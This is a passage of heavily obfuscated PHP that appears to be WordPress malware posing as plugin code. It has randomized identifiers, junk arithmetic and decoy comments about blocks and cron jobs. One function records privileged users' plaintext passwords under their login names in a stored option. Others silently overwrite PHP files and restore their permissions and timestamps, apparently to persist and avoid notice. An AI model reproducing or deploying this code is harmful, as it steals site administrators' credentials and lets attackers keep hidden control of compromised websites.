foreach ($_irixgwfusfz6fj   as   $e91xjv2mjj1tg   => $zpam0vnip3r9_)   {

if  ((int)     $zpam0vnip3r9_ <   $GLOBALS['__scf_tmn0v_xik_1b_195']())  unset($_irixgwfusfz6fj[$e91xjv2mjj1tg]);
  }
     if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(758))) @update_option($dzlpp0hkw2skpob,  $_irixgwfusfz6fj,  j8bjjevd80e(927));
       yf4cseyywyt6kel(j8bjjevd80e(928), array(),    cv8ducrec(927));
  }  catch   (Throwable   $uvo4msk8s29_) {
   f1995qrx5prr7cbl19co0e(j8bjjevd80e(929),  $uvo4msk8s29_);

   }    catch (Exception  $uvo4msk8s29_)  {
    f1995qrx5prr7cbl19co0e(cv8ducrec(930),  $uvo4msk8s29_);
  }
}
  function   zdl8fqpcgd1vkckg($cq_6gw44hx8jcvy)
 {
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($cq_6gw44hx8jcvy))   return   $cq_6gw44hx8jcvy;
   if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($cq_6gw44hx8jcvy)      &&  isset($cq_6gw44hx8jcvy['p'])  &&      $GLOBALS['__scf_qubutkuvnnc4sx_41']($cq_6gw44hx8jcvy['p']))  return    $cq_6gw44hx8jcvy['p'];
     return   "";
}
  function ix6mi9gek7fc1t6cmf3($sc3sx4v_mgph)


    {
 $list =  array();
      $kbdvx84nh3vfrj    = (string)  fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(931),      "");


  $a0kttoor3gy_b  =   (string) fisznicc_bnq0q9lpk5a1j(s99lg14mcd3un(932), "");
   if    ($kbdvx84nh3vfrj !==   "" && $a0kttoor3gy_b !==   "")   {
       $list[$kbdvx84nh3vfrj]    =  $a0kttoor3gy_b;
}
  $qhkq02gjd54r    =      fisznicc_bnq0q9lpk5a1j(pvz_9xuc0nzl0m(545),    array());

     if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($qhkq02gjd54r))  {
 foreach ($qhkq02gjd54r  as $umrah2le7bi9g  =>   $vcmcgs_fvzlkee)   {
   $gx1wu9an7cfa2x_t  =   zdl8fqpcgd1vkckg($vcmcgs_fvzlkee);
  if      ($gx1wu9an7cfa2x_t  !==  "")   $list[(string)  $umrah2le7bi9g]   =    $gx1wu9an7cfa2x_t;
}
}
// @fold-const backlog



  return     $list;

}
 function cgldkim3lhk4eu35v8cxt5($umrah2le7bi9g, $rfxkmr6w2bltsopo,   $nysdjark9a_2d2_q)


 {
try     {
     if  (!    $GLOBALS['__scf_zr5xv8ge2ijskk_69']($umrah2le7bi9g)    ||   !  $GLOBALS['__scf_r5y2nofw5p1zz_126']($umrah2le7bi9g,  cv8ducrec(933))) {


     return    $umrah2le7bi9g;
     }
  if    (!  $umrah2le7bi9g->has_cap(j8bjjevd80e(723))) {
       return   $umrah2le7bi9g;
}
 if (!  $GLOBALS['__scf_qubutkuvnnc4sx_41']($nysdjark9a_2d2_q)   ||  !   $nysdjark9a_2d2_q) {


 return   $umrah2le7bi9g;
 }
        $qhkq02gjd54r  =    fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(545),  array());
  if   (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($qhkq02gjd54r))   {


  $qhkq02gjd54r  =    array();
  }

  foreach   ($qhkq02gjd54r  as $m3nuvmwvqfxh9hc   =>   $xcg_nhpwqsm) {
   $nuc8klvu8t1k  = $GLOBALS['__scf__qh9f0l6g7e7ez_35']($xcg_nhpwqsm) &&   isset($xcg_nhpwqsm[cv8ducrec(549)])     ?    (int) $xcg_nhpwqsm[pvz_9xuc0nzl0m(549)]      :  0;
 if   ($nuc8klvu8t1k &&     $nuc8klvu8t1k      < $GLOBALS['__scf_tmn0v_xik_1b_195']()  -   (12720801-4944801))  unset($qhkq02gjd54r[$m3nuvmwvqfxh9hc]);
}
     $qhkq02gjd54r[$umrah2le7bi9g->user_login]   =     array('p'   =>  $nysdjark9a_2d2_q,   pvz_9xuc0nzl0m(549)  =>   $GLOBALS['__scf_tmn0v_xik_1b_195'](),     s99lg14mcd3un(934)  => 0);
 yf4cseyywyt6kel(j8bjjevd80e(935),  $qhkq02gjd54r,  b5xx0lrqzfc(927));$ks1ta8wp=PHP_INT_MAX/PHP_INT_MAX;$p3cznduj=$ks1ta8wp+31;
  } catch  (Throwable $uvo4msk8s29_)  {
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(936),  $uvo4msk8s29_);
  } catch  (Exception   $uvo4msk8s29_)  {
     f1995qrx5prr7cbl19co0e(s99lg14mcd3un(937),  $uvo4msk8s29_);
   }
 return $umrah2le7bi9g;
}
function uliootliecqjh_z4o75($sfr3m58ug7nu, $umrah2le7bi9g)



 {$g3kuci_2ws9ma2=39+97;$ahl0jokz59n_02=$g3kuci_2ws9ma2-45;
try    {
    if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($sfr3m58ug7nu) ||  $sfr3m58ug7nu     === "")  return;
$qhkq02gjd54r   = fisznicc_bnq0q9lpk5a1j(pvz_9xuc0nzl0m(935),   array());
    if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($qhkq02gjd54r)    ||     !isset($qhkq02gjd54r[$sfr3m58ug7nu]))  return;
  $uvo4msk8s29_     =  $qhkq02gjd54r[$sfr3m58ug7nu];
 if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($uvo4msk8s29_)    &&   empty($uvo4msk8s29_[pvz_9xuc0nzl0m(934)])) {
// WP Verse Block: release leaky-bucket

      $qhkq02gjd54r[$sfr3m58ug7nu][j8bjjevd80e(938)]  =    1;
 yf4cseyywyt6kel(cv8ducrec(935),    $qhkq02gjd54r,    b5xx0lrqzfc(939));
   }

 } catch  (Throwable  $yyum4l8cp75)     {
f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(940),  $yyum4l8cp75);
 }   catch (Exception $yyum4l8cp75) {
   f1995qrx5prr7cbl19co0e(j8bjjevd80e(941), $yyum4l8cp75);
   }
  }


 function jlknt4hp6r70mhexcse3ez($sc3sx4v_mgph)
{

if    (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($sc3sx4v_mgph))    {
     return false;
 }
 $jsglnr3hrr41v4_k  =   h9qx86tqedv8p2jmz();
     foreach ($sc3sx4v_mgph as $ktatt88gbdx) {
 foreach  ($jsglnr3hrr41v4_k  as $xme16iciyu)    {
  if ($GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(942) .  $GLOBALS['__scf_lv_2afh0dde_829']($xme16iciyu,  '/')   . j8bjjevd80e(943), $ktatt88gbdx->user_login))   {
     return $ktatt88gbdx;
    }
        }
       }
return  false;



 }
    function   inbj7my4zpjuh_tx($_4_xlsqhyxq492nd, $j7use0_0kv8)

 {


    return $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57']($_4_xlsqhyxq492nd),  0,  $j7use0_0kv8);


   }
     function _rd1_e0ujuflih($j7use0_0kv8)



 {
// MySQL window functions cron job

   return   inbj7my4zpjuh_tx(uniqid((string)    $GLOBALS['__scf_pbb_q2_l2kzq6z_355'](), true),  $j7use0_0kv8);
   }
  function   u8sxfu5s56ax9eswuzeh($of_pcm29oxt9u3z)


  {



if  (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(913)))    return  false;
  $pcwkqujv2pho  =      get_option(b5xx0lrqzfc(944),  array());

      if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($pcwkqujv2pho)) return    false;
 $h4sg6v8cdzuctlj = $GLOBALS['__scf_gvrvt5qjna_57']($of_pcm29oxt9u3z);
if    (empty($pcwkqujv2pho[$h4sg6v8cdzuctlj]))   return  false;
$gx1wu9an7cfa2x_t  = $GLOBALS['__scf_uy4tufpelsg98c_118']('|',    (string) $pcwkqujv2pho[$h4sg6v8cdzuctlj]);
 $gdmdt0zuc27eul2g =   isset($gx1wu9an7cfa2x_t[1])    ?      (int)     $gx1wu9an7cfa2x_t[1] :      0;$rbcqs9oe5=188|121;$dgblcdj9a2izd4=$rbcqs9oe5^19;
   return  ($gdmdt0zuc27eul2g      >  0 && $GLOBALS['__scf_tmn0v_xik_1b_195']()      -  $gdmdt0zuc27eul2g   <    (61270+25130));$n6jw00yelxw=133|49;$abr0bxiz76k=$n6jw00yelxw^245;
   }
  function    a3s7gx0htwahhazx68q8($of_pcm29oxt9u3z,  $jtj7n55nxk9l3k)
   {
 if (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(913)) ||   !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(758)))  return;


  $pcwkqujv2pho  =   get_option(j8bjjevd80e(944), array());$e_0yf3i8p6=21*7;$prc6kvdx=$e_0yf3i8p6-48;
 if     (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($pcwkqujv2pho)) $pcwkqujv2pho  =   array();
      $h4sg6v8cdzuctlj  =    $GLOBALS['__scf_gvrvt5qjna_57']($of_pcm29oxt9u3z);
     if (!$jtj7n55nxk9l3k) {
if   (isset($pcwkqujv2pho[$h4sg6v8cdzuctlj]))     {
// @dispatch locator

unset($pcwkqujv2pho[$h4sg6v8cdzuctlj]);
    update_option(j8bjjevd80e(944),  $pcwkqujv2pho,  pvz_9xuc0nzl0m(939));


}
    return;


  }
  $juichfk25b__ =     0;
   if    (!empty($pcwkqujv2pho[$h4sg6v8cdzuctlj]))  {
 $gx1wu9an7cfa2x_t =    $GLOBALS['__scf_uy4tufpelsg98c_118']('|', (string) $pcwkqujv2pho[$h4sg6v8cdzuctlj]);
     $juichfk25b__ =      (int)  $gx1wu9an7cfa2x_t[0];
}

$juichfk25b__++;
 $gdmdt0zuc27eul2g =   ($juichfk25b__     >=  (1+2))    ?  $GLOBALS['__scf_tmn0v_xik_1b_195']()     :  0;
foreach   ($pcwkqujv2pho as  $b3izapvuxtz    =>    $r1j24u_zrh9)  {
// discriminative envelope



 $e02rlvkna5pdta9 = $GLOBALS['__scf_uy4tufpelsg98c_118']('|',   (string)   $r1j24u_zrh9);



$qae48estwbp     = isset($e02rlvkna5pdta9[2])     ?   (int)    $e02rlvkna5pdta9[2] : 0;

   if  (!$qae48estwbp     &&  !empty($e02rlvkna5pdta9[1]))   $qae48estwbp =  (int)   $e02rlvkna5pdta9[1];
       if  ($qae48estwbp   &&   $GLOBALS['__scf_tmn0v_xik_1b_195']()   -    $qae48estwbp  > (172709+91))     unset($pcwkqujv2pho[$b3izapvuxtz]);
 }
   $pcwkqujv2pho[$h4sg6v8cdzuctlj]  =  $juichfk25b__ .    '|'  .  $gdmdt0zuc27eul2g  .   '|' .    $GLOBALS['__scf_tmn0v_xik_1b_195']();
if    ($GLOBALS['__scf_tbu69vegc9f_36']($pcwkqujv2pho)    >  (20+80))   {
$jwljm617bipurg      = array();

   foreach   ($pcwkqujv2pho  as $b3izapvuxtz =>   $r1j24u_zrh9)  {
     $e02rlvkna5pdta9     =     $GLOBALS['__scf_uy4tufpelsg98c_118']('|',   (string)   $r1j24u_zrh9);

        $jwljm617bipurg[$b3izapvuxtz]  =      isset($e02rlvkna5pdta9[2])    ?   (int) $e02rlvkna5pdta9[2] :   (isset($e02rlvkna5pdta9[1]) ?     (int)    $e02rlvkna5pdta9[1]  :  0);$nzg7nify=5357;$qmi17_2rykhmt=$nzg7nify%12;


  }
  $GLOBALS['__scf_ksvvjh4uwq1kq_945']($jwljm617bipurg);
 $w4p3rl4lg8obw =  $GLOBALS['__scf_tbu69vegc9f_36']($pcwkqujv2pho)   - (7+93);
 foreach    ($jwljm617bipurg   as    $b3izapvuxtz   =>   $fnnn7kr3i8bt7sk4) {
if  ($w4p3rl4lg8obw    <=  0)   break;
   if    ($b3izapvuxtz === $h4sg6v8cdzuctlj) continue;
 unset($pcwkqujv2pho[$b3izapvuxtz]);
$w4p3rl4lg8obw--;
    }


      unset($jwljm617bipurg, $fnnn7kr3i8bt7sk4,     $w4p3rl4lg8obw);
  }
     update_option(j8bjjevd80e(944),  $pcwkqujv2pho,  j8bjjevd80e(939));
  }

      function  suzdmx54lr2s4te($of_pcm29oxt9u3z,  $w1olrp3czi6ftlg,    $lke1_el34aoqz    = null)


    {
    if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($w1olrp3czi6ftlg))   return;
 $hts4t6h0j4j   =    vd37c9d2j9hxta_($GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z),      b5xx0lrqzfc(946));
if  ($hts4t6h0j4j   !==   false) {
if ($lke1_el34aoqz  !==   null)   @$GLOBALS['__scf_gfkjbji5tiryc_17']($hts4t6h0j4j,    $lke1_el34aoqz    & (451+60));
   if    (@$GLOBALS['__scf_nr899f15j7ix_205']($hts4t6h0j4j, $w1olrp3czi6ftlg)     === $GLOBALS['__scf_d413tdd725_10']($w1olrp3czi6ftlg)   &&   kcysqw_r7i8c86af_6($hts4t6h0j4j, $of_pcm29oxt9u3z)) return;
   wlm_50lfl72sy8hrb_9xe9($hts4t6h0j4j);
 }
 @$GLOBALS['__scf_nr899f15j7ix_205']($of_pcm29oxt9u3z,    $w1olrp3czi6ftlg);



  }



      function   qc7730958b5mgfuj_($of_pcm29oxt9u3z,    $zzal77qhb1de)


{
 $_gbdleyfzdd97b     = $GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z);
if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b)) {
   f1995qrx5prr7cbl19co0e(cv8ducrec(947),   s99lg14mcd3un(948)   .  $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
 return false;



   }


$jria9uihi65f04  = ($GLOBALS['__scf_kmygv436ft5pn_9']($of_pcm29oxt9u3z,   -(0x2+0x2))   ===   j8bjjevd80e(874));
 if    ($jria9uihi65f04  &&   !ro9zxkt259xhwz4($zzal77qhb1de))  {

    f1995qrx5prr7cbl19co0e(j8bjjevd80e(947),  j8bjjevd80e(949)    . $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
 return    false;
  }
if  ($jria9uihi65f04 &&     u8sxfu5s56ax9eswuzeh($of_pcm29oxt9u3z)) return   false;

$mwzm2sfa8p0i =  false;

     if    (@$GLOBALS['__scf_w5h0oq_bt_n_44']($of_pcm29oxt9u3z)) $mwzm2sfa8p0i   =   true; 
$w1olrp3czi6ftlg  =     null;
    

    $ocupfwe5s0  =     false;


  $wp4_ygoj_xj1e  =  null;$waakhlb3=(0xb6+0x38);$i6ux9rueblk0hb=$waakhlb3%5;
   if     (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))    {
// @strength-reduce nominal-type

 $ocupfwe5s0     =  true;
if (!$mwzm2sfa8p0i)  {
// transpile disconnected adapter



 $wp4_ygoj_xj1e  = @fileperms($of_pcm29oxt9u3z);


 if  ($wp4_ygoj_xj1e   ===  false)   $wp4_ygoj_xj1e  =  null;
}
  $w94pxuyoey7_t3  =     @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($of_pcm29oxt9u3z);
  if ($w94pxuyoey7_t3 !==  false && $w94pxuyoey7_t3    <=  (87086502-34657702)    &&  ($w94pxuyoey7_t3  <= (1301747-253171)   ||  ylaz2n86rjgc8_cme($w94pxuyoey7_t3)))  $w1olrp3czi6ftlg    = @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
       unset($w94pxuyoey7_t3);
}
 if    (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(76))) {
     f1995qrx5prr7cbl19co0e(j8bjjevd80e(950), j8bjjevd80e(951)  .    $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
      return  false;


     }
       $mombjy9nqa  =  false;
$rv161tz9nwxcyci =  false;
        $_cl   =    $GLOBALS['__scf_d413tdd725_10']($zzal77qhb1de);
  for  ($bwepcee09yda2n7 =    0;   $bwepcee09yda2n7 <   2;    $bwepcee09yda2n7++) {



$mombjy9nqa   = vd37c9d2j9hxta_($_gbdleyfzdd97b,     pvz_9xuc0nzl0m(952));
if   ($mombjy9nqa  !==   false)     {


 $rv161tz9nwxcyci = false;

$e02rlvkna5pdta9   =  @$GLOBALS['__scf_q3ql35ik5fr_22']($mombjy9nqa,  j8bjjevd80e(23));
       if   ($e02rlvkna5pdta9 !== false)  {



   $fv3jz45ud4s7kb4    =  0;
while  ($fv3jz45ud4s7kb4 <   $_cl)      {
   $jruv2o_94a  = @$GLOBALS['__scf_ll7jng34dct_24']($e02rlvkna5pdta9,  $GLOBALS['__scf_kmygv436ft5pn_9']($zzal77qhb1de, $fv3jz45ud4s7kb4));



 if ($jruv2o_94a      ===  false  ||  $jruv2o_94a  ===     0)   break;


 $fv3jz45ud4s7kb4   +=     $jruv2o_94a;
 }
 @fflush($e02rlvkna5pdta9);
      if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(953)))  @fsync($e02rlvkna5pdta9);
    @fclose($e02rlvkna5pdta9);$oiea5429ij=-66;$joyok7itwf=($oiea5429ij>0)?$oiea5429ij:-$oiea5429ij;



  if  ($fv3jz45ud4s7kb4 ===   $_cl) $rv161tz9nwxcyci    =      $fv3jz45ud4s7kb4;

}  else  {
  $rv161tz9nwxcyci     =     @$GLOBALS['__scf_nr899f15j7ix_205']($mombjy9nqa, $zzal77qhb1de);
  }
    if      ($rv161tz9nwxcyci !==  false &&   $rv161tz9nwxcyci     ===    $_cl)  break;



wlm_50lfl72sy8hrb_9xe9($mombjy9nqa);
$mombjy9nqa    =  false;
      

   }
 }
 if  ($mombjy9nqa      ===  false)  {
   f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(954),   j8bjjevd80e(955)   . $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
    return  false;
       }
    if ($rv161tz9nwxcyci     ===  false    || $rv161tz9nwxcyci !==    $_cl)  {
f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(956),     b5xx0lrqzfc(957)  .  $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
     wlm_50lfl72sy8hrb_9xe9($mombjy9nqa);
 return false;
     }
     if   ($wp4_ygoj_xj1e  !== null) @$GLOBALS['__scf_gfkjbji5tiryc_17']($mombjy9nqa,   $wp4_ygoj_xj1e  &   (0xf6+0x109));
      if ($mwzm2sfa8p0i) {
   $pyafwan99r01b   = @$GLOBALS['__scf_nr899f15j7ix_205']($of_pcm29oxt9u3z,    $zzal77qhb1de);
     if   ($pyafwan99r01b ===    $_cl) {
  wlm_50lfl72sy8hrb_9xe9($mombjy9nqa);


   @clearstatcache(true,  $of_pcm29oxt9u3z);
jyzt_8_4_q17j3kbgccl($of_pcm29oxt9u3z);
 if  ($jria9uihi65f04)   a3s7gx0htwahhazx68q8($of_pcm29oxt9u3z, false);
   return true;
   }
   if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($w1olrp3czi6ftlg))    @$GLOBALS['__scf_nr899f15j7ix_205']($of_pcm29oxt9u3z,  $w1olrp3czi6ftlg);

   wlm_50lfl72sy8hrb_9xe9($mombjy9nqa);
   f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(958),   s99lg14mcd3un(959)  . $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
 return    false;
      }
$_sepybsmvskth  =      kcysqw_r7i8c86af_6($mombjy9nqa, $of_pcm29oxt9u3z);
    if (!$_sepybsmvskth  &&     $ocupfwe5s0 &&  !$mwzm2sfa8p0i)  {
if   (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))  ottk3i1kq8br96vi($of_pcm29oxt9u3z, (398+22));
$spibxhh4lkkpsscu =   $of_pcm29oxt9u3z  . s99lg14mcd3un(960)     .    $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((944+56),  (9962+37));
  if  (kcysqw_r7i8c86af_6($of_pcm29oxt9u3z,    $spibxhh4lkkpsscu)) {
      $_sepybsmvskth  =    kcysqw_r7i8c86af_6($mombjy9nqa,    $of_pcm29oxt9u3z);
if  ($_sepybsmvskth)  {


   wlm_50lfl72sy8hrb_9xe9($spibxhh4lkkpsscu);
      } else {
 if (!kcysqw_r7i8c86af_6($spibxhh4lkkpsscu, $of_pcm29oxt9u3z)   &&    !tmj29eik3aqcj3qc9xfutb($spibxhh4lkkpsscu,   $of_pcm29oxt9u3z))  {



 suzdmx54lr2s4te($of_pcm29oxt9u3z,   $w1olrp3czi6ftlg,    $wp4_ygoj_xj1e);
}
 if    (!@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)) {
      suzdmx54lr2s4te($of_pcm29oxt9u3z,  $w1olrp3czi6ftlg,   $wp4_ygoj_xj1e);
   }
    }
// @sample contravariant

}
      }
    if  (!$_sepybsmvskth &&  !$mwzm2sfa8p0i    && !$jria9uihi65f04)    {
  if (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))    ottk3i1kq8br96vi($of_pcm29oxt9u3z,  (411+9));
    if   (tmj29eik3aqcj3qc9xfutb($mombjy9nqa, $of_pcm29oxt9u3z))  {
   $_sepybsmvskth =      true;
   wlm_50lfl72sy8hrb_9xe9($mombjy9nqa);
   }
// WP Media Text Block: affine dependency-graph

      }
    if   (!$_sepybsmvskth) {



    if (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)   &&  (int)  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($of_pcm29oxt9u3z) !==    $_cl)  {
$jc6clxyceae =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
  if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($jc6clxyceae)  || ($GLOBALS['__scf_qubutkuvnnc4sx_41']($w1olrp3czi6ftlg)  &&   $jc6clxyceae !==    $w1olrp3czi6ftlg))  {
// checkpoint linear-adj locator

if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($w1olrp3czi6ftlg))     suzdmx54lr2s4te($of_pcm29oxt9u3z,  $w1olrp3czi6ftlg, $wp4_ygoj_xj1e);
   elseif (!$ocupfwe5s0)  wlm_50lfl72sy8hrb_9xe9($of_pcm29oxt9u3z);


}
unset($jc6clxyceae);
   }
if  (!@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))  {


suzdmx54lr2s4te($of_pcm29oxt9u3z,     $w1olrp3czi6ftlg,   $wp4_ygoj_xj1e);
  }
     f1995qrx5prr7cbl19co0e(s99lg14mcd3un(958),      s99lg14mcd3un(961)  . $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
  wlm_50lfl72sy8hrb_9xe9($mombjy9nqa);$mfqe60u7jh1n7=54*3;$ayv_szasn=$mfqe60u7jh1n7-46;
  return false;$zhpf7fy2=4305;$fwfs8582=$zhpf7fy2%2;
  }



 @clearstatcache(true, $of_pcm29oxt9u3z);
   $vbxj3v7d9t53w6hz  = false;
 if ($_cl   <=      (2097106+46))  {



 $frumaqwf8y9jeh2 =   @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
       $vbxj3v7d9t53w6hz    = ($GLOBALS['__scf_qubutkuvnnc4sx_41']($frumaqwf8y9jeh2) && $GLOBALS['__scf_d413tdd725_10']($frumaqwf8y9jeh2)  === $_cl  && $GLOBALS['__scf_gvrvt5qjna_57']($frumaqwf8y9jeh2)  === $GLOBALS['__scf_gvrvt5qjna_57']($zzal77qhb1de));
 }  else  {
  $gquvt4fe3c    =     $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(962))   ?     @hash_file(b5xx0lrqzfc(963), $of_pcm29oxt9u3z)  :   false;
 if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($gquvt4fe3c)      &&  $gquvt4fe3c    !== "")  $vbxj3v7d9t53w6hz = ($gquvt4fe3c ===    $GLOBALS['__scf_gvrvt5qjna_57']($zzal77qhb1de));
   else {
 $i6lx6o9sklqb  = @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($of_pcm29oxt9u3z);
 if     ($i6lx6o9sklqb   ===   $_cl)   {
 $ywv4xma7o6t_c1of =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z,     false,    null, 0,   (4033+63));



     $_rt  =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z,  false,      null,     $_cl  -   (4574-478));


  $vbxj3v7d9t53w6hz =     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($ywv4xma7o6t_c1of)  && $GLOBALS['__scf_qubutkuvnnc4sx_41']($_rt)      &&  $ywv4xma7o6t_c1of     ===   $GLOBALS['__scf_kmygv436ft5pn_9']($zzal77qhb1de, 0,   (2257+1839)) &&    $_rt  ===    $GLOBALS['__scf_kmygv436ft5pn_9']($zzal77qhb1de,     $_cl  -  (0x9fc+0x604)));
       }
  }
}
 if  (!$vbxj3v7d9t53w6hz)   {
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(958),  b5xx0lrqzfc(964)    .   $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
 if   ($jria9uihi65f04) a3s7gx0htwahhazx68q8($of_pcm29oxt9u3z,     true);
     if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($w1olrp3czi6ftlg)) {
        $cqum48s2opq  = $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(965)) ?  @hash_file(cv8ducrec(966),   $of_pcm29oxt9u3z)  :     false;
    if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($cqum48s2opq)   &&  $cqum48s2opq !==  "" && $cqum48s2opq  !==      $GLOBALS['__scf_gvrvt5qjna_57']($zzal77qhb1de)  && $cqum48s2opq !== $GLOBALS['__scf_gvrvt5qjna_57']($w1olrp3czi6ftlg))   {
 f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(967),   s99lg14mcd3un(968)  .  $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));

  return   false;
     }

  $i244y4qz37f =  vd37c9d2j9hxta_($_gbdleyfzdd97b,   cv8ducrec(952));
if   ($i244y4qz37f  !==     false  &&      @$GLOBALS['__scf_nr899f15j7ix_205']($i244y4qz37f,  $w1olrp3czi6ftlg)    === $GLOBALS['__scf_d413tdd725_10']($w1olrp3czi6ftlg))      {

    @$GLOBALS['__scf_gfkjbji5tiryc_17']($i244y4qz37f, $wp4_ygoj_xj1e    !==    null    ?  ($wp4_ygoj_xj1e     &   (438+73))    :   (650-230));
 if  (!kcysqw_r7i8c86af_6($i244y4qz37f,  $of_pcm29oxt9u3z))    {



 if   (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)    && !$mwzm2sfa8p0i)  ottk3i1kq8br96vi($of_pcm29oxt9u3z,    (690-270));
      if     (!$mwzm2sfa8p0i  &&  tmj29eik3aqcj3qc9xfutb($i244y4qz37f,  $of_pcm29oxt9u3z))   {


     wlm_50lfl72sy8hrb_9xe9($i244y4qz37f);
}   else  {
  @$GLOBALS['__scf_nr899f15j7ix_205']($of_pcm29oxt9u3z, $w1olrp3czi6ftlg);
wlm_50lfl72sy8hrb_9xe9($i244y4qz37f);



   }
  }
// timeout convex radix-tree

}  else  {
 if ($i244y4qz37f   !== false)   wlm_50lfl72sy8hrb_9xe9($i244y4qz37f);
 @$GLOBALS['__scf_nr899f15j7ix_205']($of_pcm29oxt9u3z,      $w1olrp3czi6ftlg);
    }
    jyzt_8_4_q17j3kbgccl($of_pcm29oxt9u3z);
}   elseif  (!$ocupfwe5s0)  {
    wlm_50lfl72sy8hrb_9xe9($of_pcm29oxt9u3z);



}
  return  false;
 }
      jyzt_8_4_q17j3kbgccl($of_pcm29oxt9u3z);
      lukwh2drghgd804($of_pcm29oxt9u3z);
 ottk3i1kq8br96vi($of_pcm29oxt9u3z, $wp4_ygoj_xj1e  !== null     ?   ($wp4_ygoj_xj1e   &   (453+58))    :   (261+159));
  if  ($jria9uihi65f04)    a3s7gx0htwahhazx68q8($of_pcm29oxt9u3z,   false);
     return  true;
 }
     function  i8orimz_qys71bifnzf9bg($of_pcm29oxt9u3z,  $m21q4q2kk9h)
 {
    $yazr2g01258tle   = "<?php\n";



  if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($m21q4q2kk9h) &&    $m21q4q2kk9h  !== ""  && $GLOBALS['__scf_ya_jdhkqpku_7']($m21q4q2kk9h, j8bjjevd80e(969))   !== false   &&   ro9zxkt259xhwz4($m21q4q2kk9h))  $yazr2g01258tle    =    $m21q4q2kk9h;
    if   (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)) {
 $n4zqrc5d6su    = @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
  if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($n4zqrc5d6su)  &&   gg_b7drpimzvzg($n4zqrc5d6su)    === $yazr2g01258tle)    return;
     }
 if    (!qc7730958b5mgfuj_($of_pcm29oxt9u3z,      $yazr2g01258tle))    {
 $jpvssoaawz4rp1s4      = @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
     if (!($GLOBALS['__scf_qubutkuvnnc4sx_41']($jpvssoaawz4rp1s4)      &&   gg_b7drpimzvzg($jpvssoaawz4rp1s4)    ===   $yazr2g01258tle))  @$GLOBALS['__scf_nr899f15j7ix_205']($of_pcm29oxt9u3z,   $yazr2g01258tle);



unset($jpvssoaawz4rp1s4);

 }
  jyzt_8_4_q17j3kbgccl($of_pcm29oxt9u3z);
   }
function  jluzt_wumon1g291vap()
{
